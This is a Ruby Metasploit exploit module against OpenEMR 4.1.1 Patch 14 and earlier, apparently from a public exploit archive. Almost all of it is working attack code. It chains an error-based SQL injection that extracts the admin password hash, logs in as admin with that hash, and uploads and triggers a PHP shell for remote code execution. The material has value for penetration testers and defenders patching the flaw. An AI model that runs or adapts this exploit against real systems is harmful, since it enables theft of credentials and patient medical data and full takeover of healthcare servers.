OpenEMR 4.1.1 Patch 14 - SQL Injection / Privilege Escalation / Remote Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower.
        When logging in as any non-admin user it's possible to retrieve the admin SHA1 password
        hash from the database through SQL injection. The SQL injection vulnerability exists
        in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin
        user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary
        code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
        ],
      'References'     =>
        [
          ['EDB', '28329']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['OpenEMR', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 16 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']),
          OptString.new('USER', [true, 'The non-admin user', '']),
          OptString.new('PASS', [true, 'The non-admin password', ''])
        ], self.class)
  end

  def peer
    return "#{rhost}:#{rport}"
  end

  def uri
    return target_uri.path
  end

  def check
    # Check version
    print_status("#{peer} - Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "interface", "login", "login.php")
    })

    if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end

    print_status("#{peer} - Version #{version} detected")

    if version < "4.1.2"
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def login(base, name, pass)
    #print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri("#{base}", "interface", "main", "main_screen.php"),
      'vars_get' => {
          "auth" => "login",
          "site" => "default"
      },
      'vars_post' => {
        'authProvider' => 'Default',
        'authUser' => "#{name}",
        'authPass' => "#{pass}"
        }
    })

    if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/
      session = $1
      print_status("#{rhost}:#{rport} - Login successful")
      print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]")
      return session
    else
      fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
    end
  end

  def exploit
    # Password should be converted to a SHA1 hash
    password = Rex::Text.sha1(datastore['PASS'])

    # Login as non-admin
    cookie = login(uri, datastore['USER'], password)

    sqlq = rand_text_alpha(8)
    # Generate random string and convert to hex
    sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join

    # Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.
    sqli = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "
    sqli << "FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}"

    post_data = "form_pubpid=#{sqli}"
    print_status("#{peer} - Retrieving admin password hash through SQLi")
    res = send_request_cgi({
      'method' => 'POST',
      'data'   => post_data,
      'cookie' => "OpenEMR=#{cookie}",
      'uri'    => normalize_uri(uri, "interface", "new", "new_comprehensive_save.php")
    })

    if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
      adminhash = $1
      print_status("#{peer} - Admin password hash is [ #{adminhash} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Retrieving admin password failed!")
    end

    # Login as admin and retrieve cookie
    cookie = login(uri, "admin", "#{adminhash}")

    # Random filename
    payload_name = rand_text_alpha(rand(10) + 5) + '.php'

    post_data = Rex::MIME::Message.new
    post_data.add_part("", nil, nil, "form-data; name=\"bn_save\"")
    post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"form_image\"; filename=\"#{payload_name}\"")
    file = post_data.to_s
    file.strip!

    print_status("#{peer} - Uploading shell [ #{payload_name} ]")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "interface", "super", "manage_site_files.php"),
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => "OpenEMR=#{cookie}",
      'data'   => file
    })

    # If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
      fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
    end

    register_file_for_cleanup(payload_name)

    print_status("#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "sites", "default", "images", "#{payload_name}")
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res and res.code != 200
      print_error("#{peer} - Unexpected response, exploit probably failed!")
    end

  end

end